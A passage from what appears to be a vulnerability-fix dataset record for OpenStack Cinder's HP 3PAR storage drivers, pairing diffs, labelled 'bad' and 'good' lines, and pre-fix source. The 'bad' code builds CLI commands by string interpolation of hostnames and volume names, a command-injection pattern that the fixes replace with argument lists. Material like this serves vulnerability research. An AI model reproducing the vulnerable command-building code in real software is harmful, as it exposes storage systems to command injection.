max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n", "add": 7, "remove": 11, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('setqos %svvset:%s' %", " (cli_qos_string, vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('createvvset -domain %s %s' % (domain,", " vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)", " self._cli_run('removevvset -f %s' % (vvs_name), None)", " self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)"], "goodparts": [" self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['createvvset', '-domain', domain, vvs_name])", " self._cli_run(['createvvset', '-add', vvs_name, volume_name])", " self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])", " self._cli_run(['removevvset', '-f', vvs_name])", " self._cli_run(['removevvset', '-f', vvs_name, volume_name])"]}, {"diff": "\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n", "add": 6, "remove": 6, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = 'createvvcopy -p %s -online ' % src_name", " cmd += '-snp_cpg %s ' % snap_cpg", " cmd += '-tpvv '", " cmd += cpg + ' '", " cmd += dest_name", " self._cli_run(cmd, None)"], "goodparts": [" cmd = ['createvvcopy', '-p', src_name, '-online']", " cmd.extend(['-snp_cpg', snap_cpg])", " cmd.append('-tpvv')", " cmd.append(cpg)", " cmd.append(dest_name)", " self._cli_run(cmd)"]}, {"diff": "\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" cmd = \"removevv -f %s\" % volume_name", " out = self._cli_run(cmd, None)"], "goodparts": [" cmd = ['removevv', '-f', volume_name]", " out = self._cli_run(cmd)"]}, {"diff": "\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list)", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -d', None)"], "goodparts": [" out = self._cli_run(['showhost', '-d'])"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_fc.py": {"changes": [{"diff": "\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"", "add": 13, "remove": 7, "filename": "/cinder/volume/drivers/san/hp/hp_3par_fc.py", "badparts": [" def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):", " out = self.common._cli_run('createhost -persona %s -domain %s %s %s'", " % (persona_id, domain,", " hostname, \" \".join(wwn)), None)", " def _modify_3par_fibrechan_host(self, hostname, wwn):", " out = self.common._cli_run('createhost -add %s %s'", " % (hostname, \" \".join(wwn)), None)"], "goodparts": [" def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):", " command = ['createhost', '-persona', persona_id, '-domain', domain,", " hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)", " def _modify_3par_fibrechan_host(self, hostname, wwns):", " command = ['createhost', '-add', hostname]", " for wwn in wwns:", " command.append(wwn)", " out = self.common._cli_run(command)"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR Fibre Channel Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver \"\"\" from hp3parclient import exceptions as hpexceptions from oslo.config import cfg from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) class HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver): \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware, copy volume <--> Image. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARFCDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='FC' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. The driver returns a driver_volume_type of 'fibre_channel'. The target_wwn can be a single entry or a list of wwns that correspond to the list of remote wwn(s) that will export the volume. Example return values: { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn': '1234567890123', } } or { 'driver_volume_type': 'fibre_channel' 'data':{ 'target_discovered': True, 'target_lun': 1, 'target_wwn':['1234567890123', '0987654321321'], } } Steps to export a volume on 3PAR * Create a host on the 3par with the target wwn * Create a VLUN for that HOST with the volume we want to export. \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) ports=self.common.get_ports() self.common.client_logout() info={'driver_volume_type': 'fibre_channel', 'data':{'target_lun': vlun['lun'], 'target_discovered': True, 'target_wwn': ports['FC']}} return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['wwpns']) self.common.client_logout() def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same wwn but with a different hostname, return the hostname used by 3PAR. \"\"\" out=self.common._cli_run('createhost -persona %s -domain %s %s %s' %(persona_id, domain, hostname, \" \".join(wwn)), None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_fibrechan_host(self, hostname, wwn): out=self.common._cli_run('createhost -add %s %s' %(hostname, \" \".join(wwn)), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['FCPaths']: self._modify_3par_fibrechan_host(hostname, connector['wwpns']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound as ex: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_fibrechan_host(hostname, connector['wwpns'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR Fibre Channel Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_fc.HP3PARFCDriver\n\"\"\"\n\nfrom hp3parclient import exceptions as hpexceptions\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\n\n\nclass HP3PARFCDriver(cinder.volume.driver.FibreChannelDriver):\n \"\"\"OpenStack Fibre Channel driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware,\n copy volume <--> Image.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(HP3PARFCDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password',\n 'san_ip', 'san_login', 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'FC'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n The driver returns a driver_volume_type of 'fibre_channel'.\n The target_wwn can be a single entry or a list of wwns that\n correspond to the list of remote wwn(s) that will export the volume.\n Example return values:\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': '1234567890123',\n }\n }\n\n or\n\n {\n 'driver_volume_type': 'fibre_channel'\n 'data': {\n 'target_discovered': True,\n 'target_lun': 1,\n 'target_wwn': ['1234567890123', '0987654321321'],\n }\n }\n\n\n Steps to export a volume on 3PAR\n * Create a host on the 3par with the target wwn\n * Create a VLUN for that HOST with the volume we want to export.\n\n \"\"\"\n self.common.client_login()\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n ports = self.common.get_ports()\n\n self.common.client_logout()\n info = {'driver_volume_type': 'fibre_channel',\n 'data': {'target_lun': vlun['lun'],\n 'target_discovered': True,\n 'target_wwn': ports['FC']}}\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['wwpns'])\n self.common.client_logout()\n\n def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n % (persona_id, domain,\n hostname, \" \".join(wwn)), None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n\n return hostname\n\n def _modify_3par_fibrechan_host(self, hostname, wwn):\n # when using -add, you can not send the persona or domain options\n out = self.common._cli_run('createhost -add %s %s'\n % (hostname, \" \".join(wwn)), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['FCPaths']:\n self._modify_3par_fibrechan_host(hostname, connector['wwpns'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound as ex:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_fibrechan_host(hostname,\n connector['wwpns'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py": {"changes": [{"diff": "\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n", "add": 5, "remove": 5, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\", " (persona_id, domain, hostname, iscsi_iqn)", " out = self.common._cli_run(cmd, None)", " self.common._cli_run('createhost -iscsi -add %s %s'", " % (hostname, iscsi_iqn), None)"], "goodparts": [" cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',", " domain, hostname, iscsi_iqn]", " out = self.common._cli_run(cmd)", " command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]", " self.common._cli_run(command)"]}, {"diff": "\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -host %s' % hostname, None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-host', hostname])"]}, {"diff": "\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts =", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_iscsi.py", "badparts": [" result = self.common._cli_run('showvlun -a -showcols Port', None)"], "goodparts": [" result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])"]}], "source": "\n \"\"\" Volume driver for HP 3PAR Storage array. This driver requires 3.1.2 MU2 firmware on the 3PAR array. You will need to install the python hp3parclient. sudo pip install hp3parclient Set the following in the cinder.conf file to enable the 3PAR iSCSI Driver along with the required flags: volume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver \"\"\" import sys from hp3parclient import exceptions as hpexceptions from cinder import exception from cinder.openstack.common import log as logging from cinder import utils import cinder.volume.driver from cinder.volume.drivers.san.hp import hp_3par_common as hpcommon from cinder.volume.drivers.san import san VERSION=1.1 LOG=logging.getLogger(__name__) DEFAULT_ISCSI_PORT=3260 class HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver): \"\"\"OpenStack iSCSI driver to enable 3PAR storage array. Version history: 1.0 -Initial driver 1.1 -QoS, extend volume, multiple iscsi ports, remove domain, session changes, faster clone, requires 3.1.2 MU2 firmware. \"\"\" def __init__(self, *args, **kwargs): super(HP3PARISCSIDriver, self).__init__(*args, **kwargs) self.common=None self.configuration.append_config_values(hpcommon.hp3par_opts) self.configuration.append_config_values(san.san_opts) def _init_common(self): return hpcommon.HP3PARCommon(self.configuration) def _check_flags(self): \"\"\"Sanity check to ensure we have required options set.\"\"\" required_flags=['hp3par_api_url', 'hp3par_username', 'hp3par_password', 'san_ip', 'san_login', 'san_password'] self.common.check_flags(self.configuration, required_flags) @utils.synchronized('3par', external=True) def get_volume_stats(self, refresh): self.common.client_login() stats=self.common.get_volume_stats(refresh) stats['storage_protocol']='iSCSI' backend_name=self.configuration.safe_get('volume_backend_name') stats['volume_backend_name']=backend_name or self.__class__.__name__ self.common.client_logout() return stats def do_setup(self, context): self.common=self._init_common() self._check_flags() self.iscsi_ips={} temp_iscsi_ip={} if len(self.configuration.hp3par_iscsi_ips) > 0: for ip_addr in self.configuration.hp3par_iscsi_ips: ip=ip_addr.split(':') if len(ip)==1: temp_iscsi_ip[ip_addr]={'ip_port': DEFAULT_ISCSI_PORT} elif len(ip)==2: temp_iscsi_ip[ip[0]]={'ip_port': ip[1]} else: msg=_(\"Invalid IP address format '%s'\") % ip_addr LOG.warn(msg) if(self.configuration.iscsi_ip_address not in temp_iscsi_ip): ip=self.configuration.iscsi_ip_address ip_port=self.configuration.iscsi_port temp_iscsi_ip[ip]={'ip_port': ip_port} iscsi_ports=self.common.get_ports()['iSCSI'] for(ip, iscsi_info) in iscsi_ports.iteritems(): if ip in temp_iscsi_ip: ip_port=temp_iscsi_ip[ip]['ip_port'] self.iscsi_ips[ip]={'ip_port': ip_port, 'nsp': iscsi_info['nsp'], 'iqn': iscsi_info['iqn'] } del temp_iscsi_ip[ip] if(self.configuration.iscsi_ip_address in temp_iscsi_ip): del temp_iscsi_ip[self.configuration.iscsi_ip_address] if len(temp_iscsi_ip) > 0: msg=_(\"Found invalid iSCSI IP address(s) in configuration \" \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\ (\", \".join(temp_iscsi_ip)) LOG.warn(msg) if not len(self.iscsi_ips) > 0: msg=_('At least one valid iSCSI IP address must be set.') raise exception.InvalidInput(reason=(msg)) self.common.do_setup(context) def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" self._check_flags() @utils.synchronized('3par', external=True) def create_volume(self, volume): self.common.client_login() metadata=self.common.create_volume(volume) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_cloned_volume(self, volume, src_vref): \"\"\"Clone an existing volume.\"\"\" self.common.client_login() new_vol=self.common.create_cloned_volume(volume, src_vref) self.common.client_logout() return{'metadata': new_vol} @utils.synchronized('3par', external=True) def delete_volume(self, volume): self.common.client_login() self.common.delete_volume(volume) self.common.client_logout() @utils.synchronized('3par', external=True) def create_volume_from_snapshot(self, volume, snapshot): \"\"\" Creates a volume from a snapshot. TODO: support using the size from the user. \"\"\" self.common.client_login() metadata=self.common.create_volume_from_snapshot(volume, snapshot) self.common.client_logout() return{'metadata': metadata} @utils.synchronized('3par', external=True) def create_snapshot(self, snapshot): self.common.client_login() self.common.create_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def delete_snapshot(self, snapshot): self.common.client_login() self.common.delete_snapshot(snapshot) self.common.client_logout() @utils.synchronized('3par', external=True) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } Steps to export a volume on 3PAR * Get the 3PAR iSCSI iqn * Create a host on the 3par * create vlun on the 3par \"\"\" self.common.client_login() host=self._create_host(volume, connector) vlun=self.common.create_vlun(volume, host) self.common.client_logout() iscsi_ip=self._get_iscsi_ip(host['name']) iscsi_ip_port=self.iscsi_ips[iscsi_ip]['ip_port'] iscsi_target_iqn=self.iscsi_ips[iscsi_ip]['iqn'] info={'driver_volume_type': 'iscsi', 'data':{'target_portal': \"%s:%s\" % (iscsi_ip, iscsi_ip_port), 'target_iqn': iscsi_target_iqn, 'target_lun': vlun['lun'], 'target_discovered': True } } return info @utils.synchronized('3par', external=True) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Driver entry point to unattach a volume from an instance.\"\"\" self.common.client_login() self.common.terminate_connection(volume, connector['host'], connector['initiator']) self.common.client_logout() def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id): \"\"\"Create a 3PAR host. Create a 3PAR host, if there is already a host on the 3par using the same iqn but with a different hostname, return the hostname used by 3PAR. \"\"\" cmd='createhost -iscsi -persona %s -domain %s %s %s' % \\ (persona_id, domain, hostname, iscsi_iqn) out=self.common._cli_run(cmd, None) if out and len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_iscsi_host(self, hostname, iscsi_iqn): self.common._cli_run('createhost -iscsi -add %s %s' %(hostname, iscsi_iqn), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['iSCSIPaths']: self._modify_3par_iscsi_host(hostname, connector['initiator']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_iscsi_host(hostname, connector['initiator'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def _get_iscsi_ip(self, hostname): \"\"\"Get an iSCSI IP address to use. Steps to determine which IP address to use. * If only one IP address, return it * If there is an active vlun, return the IP associated with it * Return IP with fewest active vluns \"\"\" if len(self.iscsi_ips)==1: return self.iscsi_ips.keys()[0] nsp=self._get_active_nsp(hostname) if nsp is None: nsp=self._get_least_used_nsp(self._get_iscsi_nsps()) if nsp is None: msg=_(\"Least busy iSCSI port not found, \" \"using first iSCSI port in list.\") LOG.warn(msg) return self.iscsi_ips.keys()[0] return self._get_ip_using_nsp(nsp) def _get_iscsi_nsps(self): \"\"\"Return the list of candidate nsps.\"\"\" nsps=[] for value in self.iscsi_ips.values(): nsps.append(value['nsp']) return nsps def _get_ip_using_nsp(self, nsp): \"\"\"Return IP assiciated with given nsp.\"\"\" for(key, value) in self.iscsi_ips.items(): if 